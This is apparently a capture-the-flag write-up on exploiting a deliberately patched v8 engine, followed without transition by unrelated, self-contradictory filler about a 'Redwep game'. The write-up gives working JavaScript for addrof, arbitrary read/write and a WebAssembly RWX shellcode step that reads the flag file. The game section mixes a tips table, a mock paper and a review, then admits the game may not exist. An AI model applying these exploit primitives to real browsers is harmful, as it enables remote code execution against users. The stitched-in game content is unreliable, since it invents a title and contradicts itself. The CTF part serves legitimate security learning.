Gotta go fast. server.py patch.txt
We are given the server.py python script, a d8 executeable and source code with a custom patch. I included the files directly relevant to the writeup above.
Looking at the provided patch, a very obvious vulnerability was introduced into v8. The patch adds a function called setHorsepower that allows us to set the length field of JSArray objects to a value of our chosing. The screenshot below showcases the relevant parts of the patch.
With this added vulnerability we can get an out of bounds read and write as showcased below. We start off by creating a JSArray object of type FixedDoubleArray. Next we use the setHorsepower function to increase its length to 0x100. We can now access out of bounds memory and both read and overwrite values stored on the v8-heap. We will now proceed to leverage this bug to take control of v8 and gain arbitrary code execution.
As you can see in the above screenshot, accessing arr[50] returned a float number due to the type of our array. Float numbers such as these are hard to interpret and use especially since they are oftentimes actually addresses that we would much rather view in hex. To accomplish this we will start by adding 2 helper functions.
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u32_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n);
}
function itof(val) {
u32_buf[0] = Number(val & 0xffffffffn);
u32_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
The first helper function, ftoi, takes a value of type float and converts it to a BigInt value. The second helper function, itof, accepts a BigInt value as its argument and converts it to a float. This function will be important when trying to write values into memory.
Now that that is setup, our first goal will be to craft an addrof primitive. This primitive should allow us to pass in an arbitrary object and the function should return its address. We will accomplish this using our vulnerability.
var s = [1.1,2.2];
var obj = {"A":1};
var obj_arr = [obj];
var fl_arr = [3.3,4.4];
var tmp = new Uint8Array(8);
s.setHorsepower(0x100);
let obj_arr_elem = s[12];
function addrof(obj) {
obj_arr[0] = obj;
s[17] = obj_arr_elem;
return ftoi(fl_arr[0]) & 0xffffffffn;
}
We start by creating some objects, and using the vulnerable function to extend the length of our float array s. By accessing various indexes of the s array we can now read and overwrite arbitrary values stored after the s array. Our first step is to retrieve the elements pointer of our obj_arr. This will become vital for the upcoming addrof primitive.
For the addrof function, we start by setting the first index of our obj_arr to the value address we are trying to leak. Next we use our vulnerability to overwrite the elements pointer of fl_arr with the elements pointer of our object array. This makes it so fl_arr[0] now points to the address we just stored in the obj_arr. Finally we use ftoi to return the value with type BigInt. Like this we successfuly managed to create a primitive that allows us to retrieve the addresses of our objects.
As you may have spotted in the above screenshot, we did not in fact leak the entire address of the passed in object. We only got the lower 4 bytes. This is due to a v8 concept called pointer compression. To save space, only the lower 4 bytes of addresses are stored on the v8 heap. Since the upper 4 bytes are always the same throughout a specific v8 process, this address is instead stored in the r13 register. We will need to find a way to leak this value too if we want to successfuly leak object addresses.
In the beginning of our exploit we executed 'var tmp = new Uint8Array(8);' to allocate a specific object. As it turns out, this object actually stores the root address in memory, so we can simply leak it by accessing s[32];
We now have everything needed to proceed with our next primitives. To be more specific, we want an arbitrary read and write. There are multiple ways to achieve this, but I decided to accomplish this primitive via a pair of ArrayBuffers.
function arb_read(obj,offset) {
dv_1.setUint32(0, Number(addrof(obj)-1n+offset), true);
return dv_2.getUint32(0, true);
}
function arb_write(addr,val) {
w[21] = itof(BigInt(part_2)>>32n);
dv_1.setUint32(0, Number(addr), true);
dv_2.setUint32(0, val, true);
}
var w = [1.1,2.2];
w.setHorsepower(0x100);
var arr_1 = new ArrayBuffer(0x40);
var dv_1 = new DataView(arr_1);
var arr_2 = new ArrayBuffer(0x40);
var dv_2 = new DataView(arr_2);
w[6] = itof((addrof(arr_2)+0x10n + 3n)<<32n);
w[7] = itof(BigInt(root_leak)>>32n);
w[21] = itof(BigInt(root_leak)>>32n);
Once again we start by allocating an arr w and extend its length using the vulnerable function to achieve an index read/write. Next we allocate 2 arraybuffers and their dataview objects.
In JSArrayBuffer objects, the backing store points to their elements. These elements can then be viewed and edited using the getUint32() and setUint32() functions. This means that if we overwrite the backing store pointer of arr_1 with the address of the backing store pointer of arr_2, we can execute 'dv_1.setUint32(addrof(obj));' to write an arbitrary address to the backing store pointer of arr_2. We can now use dv_2.(get/set) to complete our arbitrary read and write primitives by using the pointer received from arr_1.
We now have all of our primitives together. The last thing needed is a way to obtain code execution. With our primitives, the easiest way to achieve this is through shellcode and webassembly.
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,...]);
let wasm_module = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_module);
let pwn = wasm_instance.exports.main;
When creating a wasm function as demonstrated above, a RWX page is created in memory. This address is then stored at wasm_instance + 0x68.
To complete our exploit, we start by leaking the address of the rwx page using our arb_read() function on wasm_instance + 0x68. Next we call copy_shellcode() to copy our shellcode over to this page step by step using arb_write(). Finally we execute the '/bin/cat ./flag.txt' shellcode to retrieve the flag and complete the challenge.
The full exploit script is posted below.
If you're getting destroyed in your first few matches of the Redwep game, you are likely making one of these errors:
| Mistake | Consequence | Fix | |---------|-------------|-----| | Maxing the charge every turn | Triggers Crimson Tide, killing your own squad | Stay between 40-70% charge | | Ignoring wind direction | Shots fly off course, waste turn | Watch the wind flag before every shot | | Clumping your squad | One enemy explosion hits all three units | Spread units across vertical levels | | Never using ricochet | Predictable shots, easy to counter | Always aim off at least one surface |
In the landscape of competitive multiplayer gaming, developers constantly battle to achieve the "Golden Ratio" of balance—a state where defensive playstyles (camping, fortification, holding angles) are equally viable to offensive playstyles (rushing, breaching, roaming).
The term "Redwep Game" has colloquially arisen to describe a specific genre subset where the game mechanics inherently favor the aggressor (the "Red Team" or "Red Weapon" archetype). In a Redwep environment, initiative is the sole determinant of victory. This paper aims to define the characteristics of a Redwep Game, analyze why they often suffer from player burnout, and propose architectural solutions. redwep game
You win by eliminating all enemy squads. However, the Redwep game adds a twist: after every three turns, a "Collapse Event" occurs—falling debris, rising lava, or a gravity flip. You must adapt your strategy instantly.
Assuming you are committed to finding a game called "redwep" (or games exactly like it), you will not find it on Steam or Epic. You need to dig into the underground. Here is the digital archaeology guide:
Ready to dive in? Here is how to get the most out of your Redwep game experience: If you're getting destroyed in your first few
If you were searching for "redwep game" because you heard a podcast discuss a creepy video game, you were likely looking for RedWeb.
Why search "redwep game"? You heard Trevor say, "On this episode of RedWeb, we’re looking at a game..." You typed the phonetic sound.
In an industry dominated by battle passes, season passes, and always-online DRM, the Redwep game feels like a relic from a better timeline. It is challenging, inventive, and genuinely surprising. The learning curve is vertical, but the reward is immense. Why search "redwep game"
You will lose your first twenty matches. You will accidentally blow up your own squad with a poorly timed Crimson Tide. You will swear at the wind mechanic. But then, suddenly, you will land a triple ricochet shot that threads a needle between two crumbling walls and detonates an enemy’s ammunition stash. And you will understand why thousands of players have become obsessed.
The Redwep game is not trying to be the next esports juggernaut. It is not trying to sell you skins or battle passes. It is simply a brilliant, brutal, beautiful little game about aiming a red weapon and surviving the chaos.
Try it today. Just remember: Don’t fill the meter thrice.
Have you played the Redwep game? What’s your highest kill streak? Share your stories in the comments below, and don’t forget to check our advanced guide on beating The Observer without taking damage.
Note: "Redwep" does not currently correspond to a known major video game title, studio, or established franchise as of 2025. The following article is written based on the assumption that "Redwep" is either an emerging indie project, a typo of a known name (e.g., Red Dead Redemption, Rewind), or a cryptic title for a new genre-blending experience.